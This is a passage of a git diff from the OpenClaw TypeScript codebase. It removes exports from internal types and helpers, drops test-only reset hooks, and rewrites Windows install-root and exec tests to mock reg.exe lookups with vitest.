stripSupervisorHintEnv(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv { +function stripSupervisorHintEnv(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv { const next = { ...env }; for (const key of SUPERVISOR_HINT_ENV_VARS) { if (SERVICE_IDENTITY_ENV_VARS.has(key)) { diff --git a/src/infra/update-package-manager.test.ts b/src/infra/update-package-manager.test.ts index 59959d32b36c..ef42f4223655 100644 --- a/src/infra/update-package-manager.test.ts +++ b/src/infra/update-package-manager.test.ts @@ -1,9 +1,8 @@ // Covers package manager resolution for update build flows. import { describe, expect, it } from "vitest"; -import { - resolveUpdateBuildManager, - type PackageManagerCommandRunner, -} from "./update-package-manager.js"; +import { resolveUpdateBuildManager } from "./update-package-manager.js"; + +type PackageManagerCommandRunner = Parameters[0]; describe("resolveUpdateBuildManager", () => { it("bootstraps pnpm via npm when pnpm and corepack are unavailable", async () => { diff --git a/src/infra/update-package-manager.ts b/src/infra/update-package-manager.ts index cfb71b645f77..280364a8b7df 100644 --- a/src/infra/update-package-manager.ts +++ b/src/infra/update-package-manager.ts @@ -17,7 +17,7 @@ export type UpdatePackageManagerFailureReason = | "pnpm-corepack-missing" | "pnpm-npm-bootstrap-failed"; -export type PackageManagerCommandRunner = ( +type PackageManagerCommandRunner = ( argv: string[], options: { timeoutMs: number; env?: NodeJS.ProcessEnv }, ) => Promise<{ stdout: string; stderr: string; code: number | null }>; diff --git a/src/infra/update-post-core-finalize.test.ts b/src/infra/update-post-core-finalize.test.ts index 2d01b2082f20..3c1e7887dc18 100644 --- a/src/infra/update-post-core-finalize.test.ts +++ b/src/infra/update-post-core-finalize.test.ts @@ -3,7 +3,6 @@ import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it, vi } from "vitest"; import { foldPostCoreFinalizeIntoResult, - type PostCoreFinalizeSpawner, runPostCoreFinalizeAfterGatewayUpdate, } from "./update-post-core-finalize.js"; import type { UpdateRunResult } from "./update-runner.js"; @@ -23,6 +22,9 @@ function gitOkResult(overrides: Partial = {}): UpdateRunResult const ENTRYPOINT = "/srv/openclaw/dist/index.mjs"; const resolveEntrypointOk = async () => ENTRYPOINT; +type PostCoreFinalizeSpawner = NonNullable< + Parameters[0]["spawnFinalize"] +>; describe("runPostCoreFinalizeAfterGatewayUpdate", () => { it("skips non-git update modes", async () => { diff --git a/src/infra/update-post-core-finalize.ts b/src/infra/update-post-core-finalize.ts index 4e89448983b9..b004ef0bcbfc 100644 --- a/src/infra/update-post-core-finalize.ts +++ b/src/infra/update-post-core-finalize.ts @@ -75,7 +75,7 @@ function buildFinalizeEnv( return env; } -export type PostCoreFinalizeOutcome = +type PostCoreFinalizeOutcome = | { status: "skipped"; reason: "not-git-update" | "entrypoint-missing" } | { status: "ok"; entrypoint: string } | { @@ -88,7 +88,7 @@ export type PostCoreFinalizeOutcome = type FinalizeSpawnResult = { code: number | null; stderr?: string }; -export type PostCoreFinalizeSpawner = (params: { +type PostCoreFinalizeSpawner = (params: { argv: string[]; cwd: string; timeoutMs: number; diff --git a/src/infra/update-runner.test.ts b/src/infra/update-runner.test.ts index b254c92afd98..3a62d5267f21 100644 --- a/src/infra/update-runner.test.ts +++ b/src/infra/update-runner.test.ts @@ -3,12 +3,12 @@ import fs from "node:fs/promises"; import path from "node:path"; import { bundledDistPluginFile } from "openclaw/plugin-sdk/test-fixtures"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { writePackageDistInventory } from "../../scripts/lib/package-dist-inventory.ts"; import { BUNDLED_RUNTIME_SIDECAR_PATHS } from "../plugins/runtime-sidecar-paths.js"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { withEnvAsync } from "../test-utils/env.js"; import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; import { pathExists } from "../utils.js"; -import { writePackageDistInventory } from "./package-dist-inventory.js"; import { resolveStableNodePath } from "./stable-node-path.js"; import type { UpdateChannel } from "./update-channels.js"; import { diff --git a/src/infra/update-runner.ts b/src/infra/update-runner.ts index 8f7f21e0e2c1..0e1a80a0e528 100644 --- a/src/infra/update-runner.ts +++ b/src/infra/update-runner.ts @@ -140,7 +140,7 @@ export type UpdateStepInfo = { total: number; }; -export type UpdateStepCompletion = UpdateStepInfo & { +type UpdateStepCompletion = UpdateStepInfo & { durationMs: number; exitCode: number | null; stderrTail?: string | null; @@ -173,7 +173,7 @@ type UpdateRunnerOptions = { progress?: UpdateStepProgress; }; -export type UpdateInstallSurface = +type UpdateInstallSurface = | { kind: "git"; mode: "git"; diff --git a/src/infra/voicewake-routing.test.ts b/src/infra/voicewake-routing.test.ts index 9bfb5289c41a..a318f121dc17 100644 --- a/src/infra/voicewake-routing.test.ts +++ b/src/infra/voicewake-routing.test.ts @@ -2,16 +2,11 @@ import { describe, expect, it } from "vitest"; import { normalizeVoiceWakeRoutingConfig, - normalizeVoiceWakeTriggerWord, resolveVoiceWakeRouteByTrigger, validateVoiceWakeRoutingConfigInput, } from "./voicewake-routing.js"; describe("voicewake routing normalization", () => { - it("normalizes punctuation-heavy triggers to token-equivalent spacing", () => { - expect(normalizeVoiceWakeTriggerWord(" Hey, Bot!! ")).toBe("hey bot"); - }); - it("normalizes agentId targets before persisting routes", () => { const normalized = normalizeVoiceWakeRoutingConfig({ defaultTarget: { mode: "current" }, diff --git a/src/infra/voicewake-routing.ts b/src/infra/voicewake-routing.ts index 2be91f93be98..93900f1195ab 100644 --- a/src/infra/voicewake-routing.ts +++ b/src/infra/voicewake-routing.ts @@ -59,7 +59,7 @@ function openStateDatabase(stateDir?: string) { } /** Normalize a voice wake trigger phrase for matching and duplicate checks. */ -export function normalizeVoiceWakeTriggerWord(value: string): string { +function normalizeVoiceWakeTriggerWord(value: string): string { return value .toLowerCase() .split(/\s+/) diff --git a/src/infra/windows-encoding.test.ts b/src/infra/windows-encoding.test.ts index d39fa2e550e8..8b23a9ab1995 100644 --- a/src/infra/windows-encoding.test.ts +++ b/src/infra/windows-encoding.test.ts @@ -6,16 +6,9 @@ import { createWindowsOutputDecoder, decodeWindowsOutputBuffer, decodeWindowsTextFileBuffer, - parseWindowsCodePage, } from "./windows-encoding.js"; describe("windows output encoding", () => { - it("parses code pages from chcp output text", () => { - expect(parseWindowsCodePage("Active code page: 936")).toBe(936); - expect(parseWindowsCodePage("活动代码页: 65001")).toBe(65001); - expect(parseWindowsCodePage("no code page")).toBeNull(); - }); - it("decodes GBK output on Windows when UTF-8 is invalid and code page is known", () => { const raw = Buffer.from([0xb2, 0xe2, 0xca, 0xd4, 0xa1, 0xab, 0xa3, 0xbb]); diff --git a/src/infra/windows-encoding.ts b/src/infra/windows-encoding.ts index cc7d8a85b599..834f935cf892 100644 --- a/src/infra/windows-encoding.ts +++ b/src/infra/windows-encoding.ts @@ -26,7 +26,7 @@ let cachedWindowsConsoleEncoding: string | null | undefined; let cachedWindowsSystemEncoding: string | null | undefined; /** Extracts a Windows console code page number from localized `chcp` output. */ -export function parseWindowsCodePage(raw: string): number | null { +function parseWindowsCodePage(raw: string): number | null { if (!raw) { return null; } diff --git a/src/infra/windows-install-roots.test.ts b/src/infra/windows-install-roots.test.ts index f913209b5814..5000bf7de9bc 100644 --- a/src/infra/windows-install-roots.test.ts +++ b/src/infra/windows-install-roots.test.ts @@ -1,66 +1,41 @@ // Covers Windows install-root normalization and discovery. -import { afterEach, describe, expect, it } from "vitest"; +import fs from "node:fs"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +const execFileSyncMock = vi.hoisted(() => vi.fn()); + +vi.mock("node:child_process", async () => { + const actual = await vi.importActual("node:child_process"); + return { ...actual, execFileSync: execFileSyncMock }; +}); import { - privateTestApi, - resetWindowsInstallRootsForTests, getWindowsCmdExePath, getWindowsInstallRoots, getWindowsPowerShellExePath, getWindowsProgramFilesRoots, getWindowsSystem32ExePath, getWindowsWmicExePath, - normalizeWindowsInstallRoot, } from "./windows-install-roots.js"; afterEach(() => { - resetWindowsInstallRootsForTests(); -}); - -describe("normalizeWindowsInstallRoot", () => { - it("normalizes validated local Windows roots", () => { - expect(normalizeWindowsInstallRoot(" D:/Apps/Program Files/ ")).toBe("D:\\Apps\\Program Files"); - }); - - it("rejects invalid or overly broad values", () => { - expect(normalizeWindowsInstallRoot("relative\\path")).toBeNull(); - expect(normalizeWindowsInstallRoot("\\\\server\\share\\Program Files")).toBeNull(); - expect(normalizeWindowsInstallRoot("D:\\")).toBeNull(); - expect(normalizeWindowsInstallRoot("D:\\Apps;E:\\Other")).toBeNull(); - }); + vi.restoreAllMocks(); + execFileSyncMock.mockReset(); }); describe("getWindowsInstallRoots", () => { it("prefers HKLM registry roots over process environment values", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir" - ) { - return "E:\\Programs"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir (x86)" - ) { - return "F:\\Programs (x86)"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramW6432Dir" - ) { - return "E:\\Programs"; - } - return null; - }, + vi.spyOn(fs, "accessSync").mockImplementation(() => undefined); + execFileSyncMock.mockImplementation((_file, args: string[]) => { + const valueName = args[3]; + const values: Record = { + SystemRoot: "D:\\Windows", + ProgramFilesDir: "E:\\Programs", + "ProgramFilesDir (x86)": "F:\\Programs (x86)", + ProgramW6432Dir: "E:\\Programs", + }; + const value = valueName ? values[valueName] : undefined; + return value ? `${valueName} REG_SZ ${value}\r\n` : ""; }); - const originalEnv = process.env; let roots; try { @@ -82,27 +57,13 @@ describe("getWindowsInstallRoots", () => { programFilesX86: "F:\\Programs (x86)", programW6432: "E:\\Programs", }); + expect(execFileSyncMock).toHaveBeenCalled(); + for (const [file] of execFileSyncMock.mock.calls) { + expect(file).toBe("C:\\Windows\\System32\\reg.exe"); + } }); it("uses explicit env roots without consulting HKLM", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir" - ) { - return "E:\\Programs"; - } - return null; - }, - }); - const roots = getWindowsInstallRoots({ SystemRoot: "G:\\Windows", ProgramFiles: "H:\\Programs", @@ -119,10 +80,6 @@ describe("getWindowsInstallRoots", () => { }); it("falls back to validated env roots when registry lookup is unavailable", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: () => null, - }); - const roots = getWindowsInstallRoots({ systemroot: "D:\\Windows\\", programfiles: "E:\\Programs", @@ -139,10 +96,6 @@ describe("getWindowsInstallRoots", () => { }); it("falls back to defaults when registry and env roots are invalid", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: () => "relative\\path", - }); - const roots = getWindowsInstallRoots({ SystemRoot: "relative\\Windows", ProgramFiles: "\\\\server\\share\\Program Files", @@ -161,10 +114,6 @@ describe("getWindowsInstallRoots", () => { describe("getWindowsProgramFilesRoots", () => { it("prefers ProgramW6432 and dedupes roots case-insensitively", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: () => null, - }); - expect( getWindowsProgramFilesRoots({ ProgramW6432: "D:\\Programs", @@ -203,27 +152,3 @@ describe("Windows system executable helpers", () => { ); }); }); - -describe("locateWindowsRegExe", () => { - it("uses the fixed Windows system reg.exe candidate", () => { - expect(privateTestApi.getWindowsRegExeCandidates()).toEqual(["C:\\Windows\\System32\\reg.exe"]); - }); - - it("does not resolve readable reg.exe files from env-derived roots", () => { - resetWindowsInstallRootsForTests({ - isReadableFile: (filePath) => filePath === "D:\\Windows\\System32\\reg.exe", - }); - - const originalEnv = process.env; - try { - process.env = { - ...originalEnv, - SystemRoot: "D:\\Windows", - WINDIR: "E:\\Windows", - }; - expect(privateTestApi.locateWindowsRegExe()).toBeNull(); - } finally { - process.env = originalEnv; - } - }); -}); diff --git a/src/infra/windows-install-roots.ts b/src/infra/windows-install-roots.ts index 1dd055a979e4..da7c88a02dd3 100644 --- a/src/infra/windows-install-roots.ts +++ b/src/infra/windows-install-roots.ts @@ -4,7 +4,7 @@ import fs from "node:fs"; import path from "node:path"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; -export const DEFAULT_WINDOWS_SYSTEM_ROOT = "C:\\Windows"; +const DEFAULT_WINDOWS_SYSTEM_ROOT = "C:\\Windows"; const DEFAULT_PROGRAM_FILES = "C:\\Program Files"; const DEFAULT_PROGRAM_FILES_X86 = "C:\\Program Files (x86)"; const WINDOWS_NT_CURRENT_VERSION_KEY = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; @@ -13,12 +13,6 @@ const REG_QUERY_TIMEOUT_MS = 5_000; type QueryRegistryValue = (key: string, valueName: string) => string | null; type IsReadableFile = (filePath: string) => boolean; - -type WindowsInstallRootsTestOverrides = { - queryRegistryValue?: QueryRegistryValue; - isReadableFile?: IsReadableFile; -}; - type WindowsInstallRoots = { systemRoot: string; programFiles: string; @@ -26,8 +20,8 @@ type WindowsInstallRoots = { programW6432: string | null; }; -let queryRegistryValueFn: QueryRegistryValue = defaultQueryRegistryValue; -let isReadableFileFn: IsReadableFile = defaultIsReadableFile; +const queryRegistryValueFn: QueryRegistryValue = defaultQueryRegistryValue; +const isReadableFileFn: IsReadableFile = defaultIsReadableFile; let cachedProcessInstallRoots: WindowsInstallRoots | null = null; function defaultIsReadableFile(filePath: string): boolean { @@ -52,7 +46,7 @@ function trimTrailingSeparators(value: string): string { * Windows install roots should be local absolute directories, not drive-relative * paths, UNC shares, or PATH-like lists that could widen trust unexpectedly. */ -export function normalizeWindowsInstallRoot(raw: string | undefined): string | null { +function normalizeWindowsInstallRoot(raw: string | undefined): string | null { if (typeof raw !== "string") { return null; } @@ -270,16 +264,3 @@ export function getWindowsWmicExePath( ): string { return path.win32.join(getWindowsInstallRoots(env).systemRoot, "System32", "wbem", "wmic.exe"); } - -export function resetWindowsInstallRootsForTests( - overrides: WindowsInstallRootsTestOverrides = {}, -): void { - queryRegistryValueFn = overrides.queryRegistryValue ?? defaultQueryRegistryValue; - isReadableFileFn = overrides.isReadableFile ?? defaultIsReadableFile; - cachedProcessInstallRoots = null; -} - -export const privateTestApi = { - getWindowsRegExeCandidates, - locateWindowsRegExe, -}; diff --git a/src/infra/windows-shell-command.ts b/src/infra/windows-shell-command.ts index 7641c9b6ad74..1b4dba76aa6d 100644 --- a/src/infra/windows-shell-command.ts +++ b/src/infra/windows-shell-command.ts @@ -210,11 +210,9 @@ export function windowsEscapeArg(value: string): { ok: true; escaped: string } | return { ok: true, escaped: `"${escaped}"` }; } -export type ShellSegmentRenderResult = - | { ok: true; rendered: string } - | { ok: false; reason: string }; +type ShellSegmentRenderResult = { ok: true; rendered: string } | { ok: false; reason: string }; -export type RebuiltShellCommandResult = { +type RebuiltShellCommandResult = { ok: boolean; command?: string; reason?: string; diff --git a/src/logging/diagnostic-log-events.test.ts b/src/logging/diagnostic-log-events.test.ts index a5d6e8297fca..61eddf84849a 100644 --- a/src/logging/diagnostic-log-events.test.ts +++ b/src/logging/diagnostic-log-events.test.ts @@ -9,7 +9,6 @@ import { } from "../infra/diagnostic-events.js"; import { createDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, runWithDiagnosticTraceContext, } from "../infra/diagnostic-trace-context.js"; import { getChildLogger, resetLogger, setLoggerOverride } from "./logger.js"; @@ -32,7 +31,6 @@ beforeEach(() => { afterEach(() => { resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); setLoggerOverride(null); resetLogger(); }); diff --git a/src/logging/logger-redaction-behavior.test.ts b/src/logging/logger-redaction-behavior.test.ts index 6c3ad4c22c3c..dee213179a89 100644 --- a/src/logging/logger-redaction-behavior.test.ts +++ b/src/logging/logger-redaction-behavior.test.ts @@ -5,7 +5,6 @@ import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it } from import { resetDiagnosticEventsForTest } from "../infra/diagnostic-events.js"; import { createDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, runWithDiagnosticTraceContext, } from "../infra/diagnostic-trace-context.js"; import { getChildLogger, getLogger, resetLogger, setLoggerOverride } from "../logging.js"; @@ -29,7 +28,6 @@ beforeEach(() => { afterEach(() => { resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); resetLogger(); setLoggerOverride(null); }); diff --git a/src/node-host/invoke.sanitize-env.test.ts b/src/node-host/invoke.sanitize-env.test.ts index fd695e6eceac..832b523f8c3a 100644 --- a/src/node-host/invoke.sanitize-env.test.ts +++ b/src/node-host/invoke.sanitize-env.test.ts @@ -1,6 +1,5 @@ /** Tests environment sanitization for node-host command execution. */ import { describe, expect, it } from "vitest"; -import { parseWindowsCodePage } from "../infra/windows-encoding.js"; import { withEnv } from "../test-utils/env.js"; import { decodeCapturedOutputBuffer, sanitizeEnv } from "./invoke.js"; import { buildNodeEventParams } from "./invoke.js"; @@ -64,12 +63,6 @@ describe("node-host sanitizeEnv", () => { }); describe("node-host output decoding", () => { - it("parses code pages from chcp output text", () => { - expect(parseWindowsCodePage("Active code page: 936")).toBe(936); - expect(parseWindowsCodePage("活动代码页: 65001")).toBe(65001); - expect(parseWindowsCodePage("no code page")).toBeNull(); - }); - it("decodes GBK output on Windows when code page is known", () => { let supportsGbk = true; try { diff --git a/src/plugin-sdk/agent-harness-exec-review-runtime.ts b/src/plugin-sdk/agent-harness-exec-review-runtime.ts index ee5677a9e31d..77902dc305cb 100644 --- a/src/plugin-sdk/agent-harness-exec-review-runtime.ts +++ b/src/plugin-sdk/agent-harness-exec-review-runtime.ts @@ -4,6 +4,8 @@ // reaches provider/auth discovery and would create an architecture cycle through // the broad harness barrel. +import type { ExecAutoReviewHost } from "../infra/exec-auto-review.js"; + export async function reviewExecRequestWithConfiguredModel(params: { cfg?: import("../config/types.openclaw.js").OpenClawConfig; agentId?: string; @@ -41,6 +43,7 @@ export async function buildExecAutoReviewInputForShellCommand(params: { import("../infra/command-analysis/policy.js"), ]); const command = params.command.trim(); + const host: ExecAutoReviewHost = params.host; if (!command) { return undefined; } @@ -79,7 +82,7 @@ export async function buildExecAutoReviewInputForShellCommand(params: { argv: segment.argv, cwd: params.cwd ?? null, envKeys: params.envKeys, - host: params.host, + host, reason: inlineEval ? "strict-inline-eval" : heredoc ? "heredoc" : "approval-required", analysis: { parsed: true, diff --git a/src/plugins/contracts/runtime-seams.contract.test.ts b/src/plugins/contracts/runtime-seams.contract.test.ts index 4805825f2608..17672502eaa9 100644 --- a/src/plugins/contracts/runtime-seams.contract.test.ts +++ b/src/plugins/contracts/runtime-seams.contract.test.ts @@ -8,7 +8,6 @@ import { setRuntimeConfigSnapshot, } from "../../config/runtime-snapshot.js"; import { fetchWithSsrFGuard } from "../../infra/net/fetch-guard.js"; -import { TEST_UNDICI_RUNTIME_DEPS_KEY } from "../../infra/net/undici-runtime.js"; import * as activationCheck from "../../plugin-sdk/facade-activation-check.runtime.js"; import * as facadeRuntime from "../../plugin-sdk/facade-runtime.js"; @@ -20,6 +19,7 @@ vi.mock("../../config/plugin-auto-enable.js", () => ({ })); const originalBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; const originalStateDir = process.env.OPENCLAW_STATE_DIR; const originalGlobalFetch = globalThis.fetch; const tempDirs: string[] = []; diff --git a/src/plugins/runtime/index.test.ts b/src/plugins/runtime/index.test.ts index c6f976840f6d..0d4b8bd3f592 100644 --- a/src/plugins/runtime/index.test.ts +++ b/src/plugins/runtime/index.test.ts @@ -7,11 +7,7 @@ import { type OpenClawConfig, } from "../../config/config.js"; import { onAgentEvent } from "../../infra/agent-events.js"; -import { - requestHeartbeat, - resetHeartbeatWakeStateForTests, - setHeartbeatWakeHandler, -} from "../../infra/heartbeat-wake.js"; +import { requestHeartbeat, setHeartbeatWakeHandler } from "../../infra/heartbeat-wake.js"; import * as execModule from "../../process/exec.js"; import { onSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; import { VERSION } from "../../version.js"; @@ -190,12 +186,11 @@ describe("plugin runtime command execution", () => { it("maps deprecated runtime.system.requestHeartbeatNow to an immediate compatibility wake", async () => { vi.useFakeTimers(); - resetHeartbeatWakeStateForTests(); const handler = vi.fn(async (_request: Parameters[0]) => ({ status: "skipped" as const, reason: "disabled", })); - setHeartbeatWakeHandler(handler); + const dispose = setHeartbeatWakeHandler(handler); try { createPluginRuntime().system.requestHeartbeatNow({ reason: "legacy-plugin", @@ -209,7 +204,7 @@ describe("plugin runtime command execution", () => { expect(request?.intent).toBe("immediate"); expect(request?.reason).toBe("legacy-plugin"); } finally { - resetHeartbeatWakeStateForTests(); + dispose(); vi.useRealTimers(); } }); diff --git a/src/plugins/runtime/types-channel.ts b/src/plugins/runtime/types-channel.ts index 177bf1a66b30..b53e5515d99f 100644 --- a/src/plugins/runtime/types-channel.ts +++ b/src/plugins/runtime/types-channel.ts @@ -18,6 +18,12 @@ import type { } from "../../auto-reply/reply/mentions.types.js"; import type { CreateReplyDispatcherWithTyping } from "../../auto-reply/reply/reply-dispatcher.runtime-types.js"; import type { LoadChannelOutboundAdapter } from "../../channels/plugins/outbound/load.types.js"; +import type { ResolveMarkdownTableMode } from "../../config/markdown-tables.types.js"; +import type { + ReadSessionUpdatedAt, + RecordSessionMetaFromInbound, + UpdateLastRoute, +} from "../../config/sessions/runtime-types.js"; type DispatchReplyWithBufferedBlockDispatcher = import("../../auto-reply/reply/provider-dispatcher.types.js").DispatchReplyWithBufferedBlockDispatcher; @@ -25,10 +31,6 @@ type ReadChannelAllowFromStoreForAccount = import("../../pairing/pairing-store.types.js").ReadChannelAllowFromStoreForAccount; type UpsertChannelPairingRequestForAccount = import("../../pairing/pairing-store.types.js").UpsertChannelPairingRequestForAccount; -type ReadSessionUpdatedAt = import("../../config/sessions/runtime-types.js").ReadSessionUpdatedAt; -type RecordSessionMetaFromInbound = - import("../../config/sessions/runtime-types.js").RecordSessionMetaFromInbound; -type UpdateLastRoute = import("../../config/sessions/runtime-types.js").UpdateLastRoute; type RecordInboundSession = import("../../channels/session.types.js").RecordInboundSession; type RuntimeThreadBindingLifecycleRecord = @@ -83,7 +85,7 @@ export type PluginRuntimeChannel = { resolveChunkMode: typeof import("../../auto-reply/chunk.js").resolveChunkMode; resolveTextChunkLimit: typeof import("../../auto-reply/chunk.js").resolveTextChunkLimit; hasControlCommand: typeof import("../../auto-reply/command-detection.js").hasControlCommand; - resolveMarkdownTableMode: import("../../config/markdown-tables.types.js").ResolveMarkdownTableMode; + resolveMarkdownTableMode: ResolveMarkdownTableMode; convertMarkdownTables: typeof import("../../../packages/markdown-core/src/tables.js").convertMarkdownTables; }; reply: { diff --git a/src/plugins/runtime/types-core.ts b/src/plugins/runtime/types-core.ts index a1e08d242823..1f7e8926647a 100644 --- a/src/plugins/runtime/types-core.ts +++ b/src/plugins/runtime/types-core.ts @@ -1,5 +1,7 @@ // Core runtime types define system, config, and task helper contracts for plugins. import type { CreateChannelIngressQueueOptions } from "../../channels/message/ingress-queue.js"; +import type { ConfigMutationBase } from "../../config/mutation-types.js"; +import type { SessionPluginJsonValue } from "../../config/sessions/types.js"; import type { HeartbeatRunResult } from "../../infra/heartbeat-wake.js"; import type { LogLevel } from "../../logging/levels.js"; import type { MediaUnderstandingRuntime } from "../../media-understanding/runtime-types.js"; @@ -34,13 +36,12 @@ type DeepReadonly = T extends (...args: never[]) => unknown type RuntimeConfigAfterWrite = import("../../config/config.js").ConfigWriteAfterWrite; type RuntimeConfigReplaceResult = import("../../config/mutate.js").ConfigReplaceResult; -type RuntimeConfigMutationBase = import("../../config/mutate.js").ConfigMutationBase; type RuntimeConfigMutationContext = { snapshot: import("../../config/types.openclaw.js").ConfigFileSnapshot; previousHash: string | null; }; type RuntimeMutateConfigFileParams = { - base?: RuntimeConfigMutationBase; + base?: ConfigMutationBase; baseHash?: string; afterWrite: RuntimeConfigAfterWrite; writeOptions?: RuntimeWriteConfigOptions; @@ -56,6 +57,9 @@ type RuntimeReplaceConfigFileParams = { writeOptions?: RuntimeWriteConfigOptions; }; type RuntimeSessionEntry = import("../../config/sessions/types.js").SessionEntry; +type RuntimeSessionPluginExtensions = + | Record> + | undefined; type RuntimeSessionStoreReadParams = { agentId?: string; env?: NodeJS.ProcessEnv; @@ -76,7 +80,7 @@ type RuntimeCreateSessionEntryResult = { entry: RuntimeSessionEntry; }; type RuntimeCreateSessionEntryFinalPatch = { - pluginExtensions: RuntimeSessionEntry["pluginExtensions"]; + pluginExtensions: RuntimeSessionPluginExtensions; }; type RuntimeCreateSessionEntryBaseParams = { cfg: import("../../config/types.openclaw.js").OpenClawConfig; @@ -92,14 +96,14 @@ type RuntimeCreateSessionEntryBaseParams = { | { agentHarnessId: string; modelSelectionLocked?: true; - pluginExtensions?: RuntimeSessionEntry["pluginExtensions"]; + pluginExtensions?: RuntimeSessionPluginExtensions; } | { cliBackendId: string; model: string; cliSessionBinding: import("../../config/sessions/types.js").CliSessionBinding; modelSelectionLocked: true; - pluginExtensions?: RuntimeSessionEntry["pluginExtensions"]; + pluginExtensions?: RuntimeSessionPluginExtensions; /** Registry-injected owner; plugin callers cannot select another owner. */ pluginOwnerId?: string; }; diff --git a/src/process/exec.test.ts b/src/process/exec.test.ts index 36d97c971037..01e642dcf55c 100644 --- a/src/process/exec.test.ts +++ b/src/process/exec.test.ts @@ -4,7 +4,6 @@ import { EventEmitter } from "node:events"; import process from "node:process"; import { describe, expect, it, vi } from "vitest"; import { setVerbose } from "../global-state.js"; -import { OPENCLAW_CLI_ENV_VALUE } from "../infra/openclaw-exec-env.js"; import { attachChildProcessBridge } from "./child-process-bridge.js"; import { resolveCommandEnv, @@ -15,6 +14,8 @@ import { shouldSpawnWithShell, } from "./exec.js"; +const OPENCLAW_CLI_ENV_VALUE = "1"; + describe("runCommandWithTimeout", () => { it("never enables shell execution (Windows cmd.exe injection hardening)", () => { expect( diff --git a/src/process/exec.windows.test.ts b/src/process/exec.windows.test.ts index 197cd31e16de..4a3a57e33312 100644 --- a/src/process/exec.windows.test.ts +++ b/src/process/exec.windows.test.ts @@ -3,12 +3,7 @@ import { EventEmitter } from "node:events"; import fs from "node:fs"; import path from "node:path"; import { PassThrough } from "node:stream"; -import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { - getWindowsInstallRoots, - getWindowsSystem32ExePath, - resetWindowsInstallRootsForTests, -} from "../infra/windows-install-roots.js"; +import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { withTempDir } from "../test-utils/temp-dir.js"; import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; @@ -133,10 +128,19 @@ function expectCmdWrappedInvocation(call: ExecaCall, commandFragment = "pnpm.cmd let runCommandWithTimeout: typeof import("./exec.js").runCommandWithTimeout; let runExec: typeof import("./exec.js").runExec; let spawnCommand: typeof import("./exec.js").spawnCommand; +let getWindowsInstallRoots: typeof import("../infra/windows-install-roots.js").getWindowsInstallRoots; +let getWindowsSystem32ExePath: typeof import("../infra/windows-install-roots.js").getWindowsSystem32ExePath; describe("Windows command execution", () => { - beforeAll(async () => { + beforeEach(async () => { vi.resetModules(); + const accessSync = fs.accessSync.bind(fs); + vi.spyOn(fs, "accessSync").mockImplementation((filePath, mode) => { + if (String(filePath).toLowerCase() === "c:\\windows\\system32\\reg.exe") { + throw new Error("registry lookup disabled for test"); + } + return accessSync(filePath, mode); + }); vi.doMock("execa", () => ({ execa: execaMock })); vi.doMock("../infra/executable-path.js", async () => { const actual = await vi.importActual( @@ -154,6 +158,8 @@ describe("Windows command execution", () => { await vi.importActual("node:child_process"); return { ...actual, spawnSync: spawnSyncMock }; }); + ({ getWindowsInstallRoots, getWindowsSystem32ExePath } = + await import("../infra/windows-install-roots.js")); ({ runCommandWithTimeout, runExec, spawnCommand } = await import("./exec.js")); }); @@ -165,7 +171,6 @@ describe("Windows command execution", () => { }); beforeEach(() => { - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); execaMock.mockReset(); execaMock.mockImplementation(() => createMockSubprocess()); isRegularFileMock.mockReset(); diff --git a/src/process/supervisor/adapters/child.test.ts b/src/process/supervisor/adapters/child.test.ts index 21f1ad58a7d0..27b1745b89c9 100644 --- a/src/process/supervisor/adapters/child.test.ts +++ b/src/process/supervisor/adapters/child.test.ts @@ -1,15 +1,12 @@ // Child adapter tests cover adapting child processes to supervisor runs. import type { ChildProcess } from "node:child_process"; import { EventEmitter } from "node:events"; +import fs from "node:fs"; import { mkdir, writeFile } from "node:fs/promises"; import path from "node:path"; import { PassThrough } from "node:stream"; -import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { useAutoCleanupTempDirTracker } from "../../../../test/helpers/temp-dir.js"; -import { - getWindowsInstallRoots, - resetWindowsInstallRootsForTests, -} from "../../../infra/windows-install-roots.js"; import { expectRealExitWinsOverSigkillFallback, expectWaitStaysPendingUntilSigkillFallback, @@ -39,6 +36,7 @@ vi.mock("../../../infra/windows-encoding.js", () => ({ 